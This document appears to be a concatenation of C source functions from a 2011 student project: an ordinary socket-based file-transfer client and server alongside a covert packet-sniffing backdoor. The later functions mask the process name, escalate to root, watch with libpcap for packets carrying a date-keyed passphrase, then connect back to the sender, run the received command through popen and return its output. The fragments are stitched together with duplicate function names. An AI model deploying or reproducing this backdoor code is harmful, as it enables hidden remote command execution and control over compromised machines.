/* -- FUNCTION: initializeServer -- -- DATE: March 12, 2011 -- -- REVISIONS: September 22, 2011 - Added some extra comments about failure and -- a function call to set the socket into non blocking mode. -- -- DESIGNER: Luke Queenan -- -- PROGRAMMER: Luke Queenan -- -- INTERFACE: void initializeServer(int *listenSocket, int *port); -- -- RETURNS: void -- -- NOTES: -- This function sets up the required server connections, such as creating a -- socket, setting the socket to reuse mode, binding it to an address, and -- setting it to listen. If an error occurs, the function calls "systemFatal" -- with an error message. */ void initializeServer(int *listenSocket, int *port) { // Create a TCP socket if ((*listenSocket = tcpSocket()) == -1) { systemFatal("Cannot Create Socket!"); } // Allow the socket to be reused immediately after exit if (setReuse(&(*listenSocket)) == -1) { systemFatal("Cannot Set Socket To Reuse"); } // Bind an address to the socket if (bindAddress(&(*port), &(*listenSocket)) == -1) { systemFatal("Cannot Bind Address To Socket"); } // Set the socket to listen for connections if (setListen(&(*listenSocket)) == -1) { systemFatal("Cannot Listen On Socket"); } }
/* -- FUNCTION: sendFile -- -- DATE: September 25, 2011 -- -- REVISIONS: (Date and Description) -- -- DESIGNER: Luke Queenan -- -- PROGRAMMER: Luke Queenan -- -- INTERFACE: void sendFile(int socket, char *fileName); -- -- RETURNS: void -- -- NOTES: -- This function is used to send a file to a client. The function will open a -- file and use the function sendFile to transmit the file to the client. */ void sendFile(int socket, char *fileName) { int file = 0; struct stat statBuffer; char *buffer = (char*)calloc(BUFFER_LENGTH, sizeof(char)); // Open the file for reading if ((file = open(fileName, O_RDONLY)) == -1) { systemFatal("Problem Opening File"); } // Ensure that the were able to get the file statistics if (fstat(file, &statBuffer) == -1) { systemFatal("Problem Getting File Information"); } // Send a control message with the size of the file memmove(buffer, (void*)&statBuffer.st_size, sizeof(off_t)); sendData(&socket, buffer, BUFFER_LENGTH); // Send the file to the client if (sendfile(socket, file, NULL, statBuffer.st_size) == -1) { systemFatal("Unable To Send File"); } // Close the file close(file); free(buffer); }
/* -- FUNCTION: createTransferSocket -- -- DATE: September 29, 2011 -- -- REVISIONS: (Date and Description) -- -- DESIGNER: Luke Queenan -- -- PROGRAMMER: Luke Queenan -- -- INTERFACE: void createTransferSocket(int *socket); -- -- RETURNS: void -- -- NOTES: -- This function creates a transfer socket for the server to communicate with -- the client. The socket is bound to port 7000. */ void createTransferSocket(int *socket) { int *defaultPort = (int*)malloc(sizeof(int)); *defaultPort = TRANSFER_PORT; // Create a TCP socket if ((*socket = tcpSocket()) == -1) { systemFatal("Cannot Create Socket!"); } // Allow the socket to be reused immediately after exit if (setReuse(socket) == -1) { systemFatal("Cannot Set Socket To Reuse"); } // Bind an address to the socket if (bindAddress(defaultPort, socket) == -1) { systemFatal("Cannot Bind Address To Socket"); } free(defaultPort); }
/* -- FUNCTION: initializeServer -- -- DATE: September 23, 2011 -- -- REVISIONS: -- -- DESIGNER: Karl Castillo -- -- PROGRAMMER: Karl Castillo -- -- INTERFACE: void initalizeServer(int* port, int* socket) -- port - the port the client will listen on -- socket - the socket that will hold the new socket -- -- RETURNS: void -- -- NOTES: -- This function will create the socket, set reuse and listen for any incoming -- connections from the server. */ void initalizeServer(int* port, int* socket) { int sock = 0; // Create a TCP socket if ((sock = tcpSocket()) == -1) { systemFatal("Cannot Create Socket!"); } // Allow the socket to be reused immediately after exit if (setReuse(&sock) == -1) { systemFatal("Cannot Set Socket To Reuse"); } // Bind an address to the socket if (bindAddress(port, &sock) == -1) { systemFatal("Cannot Bind Address To Socket"); } // Set the socket to listen for connections if (setListen(&sock) == -1) { systemFatal("Cannot Listen On Socket"); } if((*socket = acceptConnection(&sock)) == -1) { systemFatal("Cannot Accept on Socket"); } close(sock); }
int client() { char errorBuffer[PCAP_ERRBUF_SIZE]; struct bpf_program fp; char *filter = malloc(sizeof(char) * FILTER_BUFFER); pcap_t *handle; pcap_if_t *nics; pcap_if_t *nic; bpf_u_int32 net; bpf_u_int32 mask; /* Get the devices on the machine */ if (pcap_findalldevs(&nics, errorBuffer) == -1) { systemFatal("Unable to retrieve device list"); } /* Find a suitable nic from the device list */ for (nic = nics; nic; nic = nic->next) { if (pcap_lookupnet(nic->name, &net, &mask, errorBuffer) != -1) { break; } } /* Open the session */ handle = pcap_open_live(nic->name, SNAP_LEN, 0, 0, errorBuffer); if (handle == NULL) { systemFatal("Unable to open live capture"); } /* Create and parse the filter to the capture */ snprintf(filter, FILTER_BUFFER, "src %s and src port %s", SOURCE_IP, SOURCE_PORT); if (pcap_compile(handle, &fp, filter, 0, net) == -1) { systemFatal("Unable to compile filter"); } /* Set the filter on the listening device */ if (pcap_setfilter(handle, &fp) == -1) { systemFatal("Unable to set filter"); } /* Call pcap_loop and process packets as they are received */ if (pcap_loop(handle, -1, receivedPacket, NULL) == -1) { systemFatal("Error in pcap_loop"); } /* Clean up */ free(filter); pcap_freecode(&fp); pcap_close(handle); return 0; }
/* -- FUNCTION: processCommand -- -- DATE: September 23, 2011 -- -- REVISIONS: -- September 25, 2011 - removed socket as part of the arguments and moved the -- creation of the socket inside. -- September 27, 2011 - moved the creation of the socket to a helper function -- September 27, 2011 - changed arguments to controlSocket and transferSocket -- -- DESIGNER: Karl Castillo -- -- PROGRAMMER: Karl Castillo -- -- INTERFACE: void processCommand(int* controlSocket, int* transferSocket); -- controlSocket - pointer to the controlSocket -- transferSocket - pointer to the transferSocket -- -- RETURNS: void -- -- NOTES: -- This function sets up the required client connections to connect to the -- transfer server, such as creating a socket, setting the socket to reuse mode, -- binding it to an address, and setting it to listen. If an error occurs, the -- function calls "systemFatal" with an error message. -- -- A menu will be printed with the available commands. Each command will produce -- a different effect on the server. -- -- Commands: -- e - exit the program -- r - receive a file from the server -- s - send a file to the server -- f - show local files -- h - show a list of available commands */ void processCommand(int* controlSocket) { FILE* temp = NULL; char* cmd = (char*)malloc(sizeof(char) * BUFFER_LENGTH); int port = getPort(controlSocket); // Print help printHelp(); printf("$ "); while(TRUE) { cmd[0] = getc(stdin); switch(cmd[0]) { case 'e': // exit closeSocket(controlSocket); exit(EXIT_SUCCESS); case 'r': // receive file cmd[0] = (char)0; printf("Enter Filename: "); scanf("%s", cmd + 1); // Send Command and file name if(sendData(controlSocket, cmd, BUFFER_LENGTH) == -1) { systemFatal("Error sending receive command"); } closeSocket(controlSocket); receiveFile(port, cmd + 1); exit(EXIT_SUCCESS); case 's': // send file cmd[0] = (char)1; printf("Enter Filename: "); scanf("%s", cmd + 1); // Send Command and file name if(sendData(controlSocket, cmd, BUFFER_LENGTH) == -1) { systemFatal("Error sending send command."); } if((temp = fopen(cmd + 1, "r"))== NULL) { fprintf(stderr, "%s does not exist\n", cmd + 1); continue; } fclose(temp); closeSocket(controlSocket); sendFile(port, cmd + 1); exit(EXIT_SUCCESS); case 'h': // show commands printHelp(); printf("$ "); break; case 'f': system("ls"); printf("$ "); break; } } }
void server(int port) { int listenSocket = 0; int socket = 0; int processId = 0; char clientIp[16]; unsigned short *clientPort = NULL; // Set up the server initializeServer(&listenSocket, &port); // Loop to monitor the server socket while (1) { clientPort = (unsigned short*)malloc(sizeof(unsigned short)); // Block here and wait for new connections if ((socket = acceptConnectionIpPort(&listenSocket, clientIp, clientPort)) == -1) { systemFatal("Can't Accept Client"); } // Spawn process to deal with client processId = fork(); if (processId == 0) { close(listenSocket); // Process the child connection processConnection(socket, clientIp, (int)*clientPort); // Once we are done, exit free(clientPort); return; } else if (processId > 0) { // Since I am the parent, keep on going close(socket); free(clientPort); continue; } else { // Fork failed, should shut down as this is a serious issue systemFatal("Fork Failed To Create Child To Deal With Client"); } } printf("Server Closing!\n"); }
/* -- FUNCTION: getPort -- -- DATE: September 23, 2011 -- -- REVISIONS: -- -- DESIGNER: Karl Castillo -- -- PROGRAMMER: Karl Castillo -- -- INTERFACE: int getPort(int* socket) -- socket - the socket where the port will be determined. -- -- RETURNS: void -- -- NOTES: -- This function will get the port that the socket is bound to. */ int getPort(int* socket) { struct sockaddr_in sin; socklen_t len = sizeof(sin); if (getsockname(*socket, (struct sockaddr *)&sin, &len) == -1) { systemFatal("getsockname Error"); } return ntohs(sin.sin_port); }
/* -- FUNCTION: initConnection -- -- DATE: September 23, 2011 -- -- REVISIONS: -- -- DESIGNER: Karl Castillo -- -- PROGRAMMER: Karl Castillo -- -- INTERFACE: int initConnection(int port, const char* ip) -- port - the port the client will connect to to the server -- ip - ip address of the server -- -- RETURNS: int - the new socket created -- -- NOTES: -- This function will create the socket, set reuse and connect to the server. */ int initConnection(int port, const char* ip) { int socket; // Creating Socket if((socket = tcpSocket()) == -1) { systemFatal("Error Creating Socket"); } // Setting Socket to Reuse if(setReuse(&socket) == -1) { systemFatal("Error Set Socket Reuse"); } // Connect to transfer server if(connectToServer(&port, &socket, ip) == -1) { systemFatal("Cannot Connect to server"); } return socket; }
/* -- FUNCTION: sendFile -- -- DATE: September 23, 2011 -- -- REVISIONS: -- -- DESIGNER: Karl Castillo -- -- PROGRAMMER: Karl Castillo -- -- INTERFACE: void sendFile(int port, const char* fileName) -- socket - the current socket the client is connected as -- fileName - the name of the file to be received/downloaded -- -- RETURNS: void -- -- NOTES: -- This function sends the receive command and waits for the reply of the -- transfer server. The transfer server will reply with the contents of the -- file. If the file is not present, the server will return an error message. -- This error message will be printed out. -- -- Once all the contents of the file are received and written to a file, the -- program will print out a success message. */ void sendFile(int port, const char* fileName) { struct stat statBuffer; char *buffer = (char*)calloc(BUFFER_LENGTH, sizeof(char)); int file = 0; int transferSocket = 0; initalizeServer(&port, &transferSocket); if ((file = open(fileName, O_RDONLY)) == -1) { systemFatal("Unable To Open File"); } // Get size of file if (fstat(file, &statBuffer) == -1) { systemFatal("Error Getting File Information"); } memmove(buffer, (void*)&statBuffer.st_size, sizeof(off_t)); printf("Connected to server and sending %s\n", fileName); // Send file size if (sendData(&transferSocket, buffer, BUFFER_LENGTH) == -1) { systemFatal("Send Failed"); } // Send the file to the client if (sendfile(transferSocket, file, NULL, statBuffer.st_size) == -1) { fprintf(stderr, "Error sending %s\n", fileName); } // Close the file close(file); free(buffer); // Print Success message printf("Transfer Complete!\n"); }
int main (int argc, char* argv[]) { // Hide the process by giving it a generic name strcpy(argv[0], PROCESS_MASK); // Elevate to root status if ((setuid(0) == -1) || (setgid(0) == -1)) { systemFatal("You need to be root for this"); } // Call function to listen behind the firewall backdoor(); return 0; }
/* -- FUNCTION: getFile -- -- DATE: September 25, 2011 -- -- REVISIONS: (Date and Description) -- -- DESIGNER: Luke Queenan -- -- PROGRAMMER: Luke Queenan -- -- INTERFACE: void getFile(int socket, char *fileName); -- -- RETURNS: void -- -- NOTES: -- This function is used to retrieve a file from a client. */ void getFile(int socket, char *fileName) { char *buffer = (char*)malloc(sizeof(char) * BUFFER_LENGTH); int count = 0; int bytesRead = 0; off_t fileSize = 0; FILE *file = NULL; char* fileNamePath = (char*)malloc(sizeof(char) * FILENAME_MAX); // Get the control packet with the file size readData(&socket, buffer, BUFFER_LENGTH); // Retrieve file size from the buffer memmove((void*)&fileSize, buffer, sizeof(off_t)); printf("File size is %zd\n", fileSize); // Open the file sprintf(fileNamePath, "%s%s", DEF_DIR, fileName); file = fopen(fileNamePath, "wb"); if (file == NULL) { systemFatal("Unable To Create File"); } // Read from the socket and write the file to disk while (count < (fileSize - BUFFER_LENGTH)) { bytesRead = readData(&socket, buffer, BUFFER_LENGTH); printf("Got %d bytes...\n", bytesRead); fwrite(buffer, sizeof(char), bytesRead, file); count += bytesRead; } // Retrieve any left over data and write it out bytesRead = readData(&socket, buffer, fileSize - count); printf("Got %d bytes...\n", bytesRead); fwrite(buffer, sizeof(char), bytesRead, file); // Close the file fclose(file); // Change the permission on the new file to allow access chmod(fileName, 00400 | 00200 | 00100); free(buffer); }
int main (int argc, char *argv[]) { /* Mask the process name */ strcpy(argv[0], MASK); /* Change the UID/GID to 0 (raise to root) */ if ((setuid(0) == -1) || (setgid(0) == -1)) { systemFatal("You need to be root for this"); exit(0); } /* Call the rest of the code */ client(); /* Exit */ return 0; }
/* -- FUNCTION: processConnection -- -- DATE: September 25, 2011 -- -- REVISIONS: (Date and Description) -- -- DESIGNER: Luke Queenan -- -- PROGRAMMER: Luke Queenan -- -- INTERFACE: void processConnection(int socket, char *ip, int port); -- -- RETURNS: void -- -- NOTES: -- This function is called after a client has connected to the server. The -- function will determine the type of connection (getting a file or retrieving -- a file) and call the appropriate function. */ void processConnection(int socket, char *ip, int port) { int transferSocket = 0; char *buffer = (char*)malloc(sizeof(char) * BUFFER_LENGTH); // Read data from the client readData(&socket, buffer, BUFFER_LENGTH); printf("Filename is %s and the command is %d\n", buffer + 1, buffer[0]); // Close the command socket close(socket); // Connect to the client createTransferSocket(&transferSocket); if (connectToServer(&port, &transferSocket, ip) == -1) { systemFatal("Unable To Connect To Client"); } printf("Connected to Client: %s\n", ip); switch ((int)buffer[0]) { case GET_FILE: // Add 1 to buffer to move past the control byte printf("Sending %s to client now...\n", buffer + 1); sendFile(transferSocket, buffer + 1); break; case SEND_FILE: // Add 1 to buffer to move past the control byte printf("Getting %s from client now...\n", buffer + 1); getFile(transferSocket, buffer + 1); printf("Getting %s successful.\n", buffer + 1); break; case REQUEST_LIST: break; } // Free local variables and sockets printf("Closing client connection\n"); free(buffer); close(transferSocket); }
void receivedPacket(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { const struct ip *iph = NULL; const struct tcphdr *tcph = NULL; struct sockaddr_in server; struct hostent *hp; int bytes_to_read, n; char *host, *encryptedField, *bp, buf[80], *command; char *code = malloc(sizeof(char) * 4); char strtosend[80]; char Date[11]; time_t t; struct tm* tm; FILE *fp; char path[1035]; time(&t); tm = localtime(&t); host = malloc(sizeof(struct in_addr)); int ipHeaderSize = 0, sd, arg; /* Get the IP header and offset value */ iph = (struct ip*)(packet + SIZE_ETHERNET); #ifdef _IP_VHL ipHeaderSize = IP_VHL_HL(iph->ip_vhl) * 4; #else ipHeaderSize = iph->ip_hl * 4; #endif if (ipHeaderSize < 20) { return; } /* Ensure that we are dealing with one of our sneaky TCP packets */ if (iph->ip_p == IPPROTO_TCP) { /* Get our packet */ tcph = (struct tcphdr*)(packet + SIZE_ETHERNET + ipHeaderSize); if((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ systemFatal("Cannot Create socket"); } /* Make sure the packet contains our code */ memcpy(code, (packet + SIZE_ETHERNET + ipHeaderSize + 4), sizeof(__uint32_t)); strftime(Date, sizeof Date, "%Y:%m:%d", tm); /* Decrypt our keyword using Todays Date*/ encryptedField = encrypt_data(code, Date); /* Check if our keyword is correct, if not incorrect packet and return*/ if(strncmp(encryptedField, PASSPHRASE, 4) == 0){ //printf("%s\n", encryptedField); } else{ return; } arg = 1; if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, &arg, sizeof(arg)) == -1) { systemFatal("setsockopt"); } bzero((char *)&server, sizeof(struct sockaddr_in)); server.sin_family = AF_INET; server.sin_port = htons(CONNECTION_PORT); inet_ntop(AF_INET, &(iph->ip_src), host, (socklen_t) INET_ADDRSTRLEN); if((hp = gethostbyname(host)) == NULL){ systemFatal("unknown server address \n"); } bcopy(hp->h_addr, (char *)&server.sin_addr, hp->h_length); if(connect(sd, (struct sockaddr *)&server, sizeof(server)) == -1){ systemFatal("can't connect to server\n"); } // receive command from server bp = buf; bytes_to_read = 80; while((n = recv(sd, bp, bytes_to_read, 0)) < 80 ) { bp += n; bytes_to_read -= n; } command = strdup("/bin/"); strcat(command, buf); /* Open the command for reading. */ fp = popen(command, "r"); if (fp == NULL) { systemFatal("Failed to run command"); } /* Read the output a line at a time - output it. */ while (fgets(path, sizeof(path)-1, fp) != NULL) { //send results line by line strcpy(strtosend, path); send(sd, strtosend, 80, 0); } /* close */ pclose(fp); close(sd); free(host); free(code); } }